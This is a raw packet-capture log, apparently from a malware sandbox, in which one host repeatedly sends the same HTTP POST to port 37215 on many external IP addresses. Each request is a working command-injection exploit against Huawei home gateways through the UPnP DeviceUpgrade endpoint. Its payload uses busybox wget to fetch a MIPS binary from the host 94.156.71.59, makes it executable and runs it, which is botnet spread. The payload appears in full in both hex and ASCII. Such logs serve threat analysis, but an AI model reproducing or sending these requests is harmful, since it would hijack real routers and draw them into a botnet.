Jun 10, 2024 15:38:00.243947983 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
312	192.168.2.13	47540	41.182.154.164	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.244657993 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
313	192.168.2.13	43920	156.244.109.56	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.245474100 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
314	192.168.2.13	41150	41.234.210.66	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.246351004 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
315	192.168.2.13	59752	41.215.9.130	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.247270107 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
316	192.168.2.13	34566	156.132.214.203	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.248013973 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
317	192.168.2.13	33070	197.190.17.120	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.248811960 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
318	192.168.2.13	49874	156.167.167.199	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.249566078 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
319	192.168.2.13	58062	197.241.255.243	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.250288963 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
320	192.168.2.13	50800	197.56.46.223	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.250989914 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
321	192.168.2.13	51740	156.89.192.95	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.251689911 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 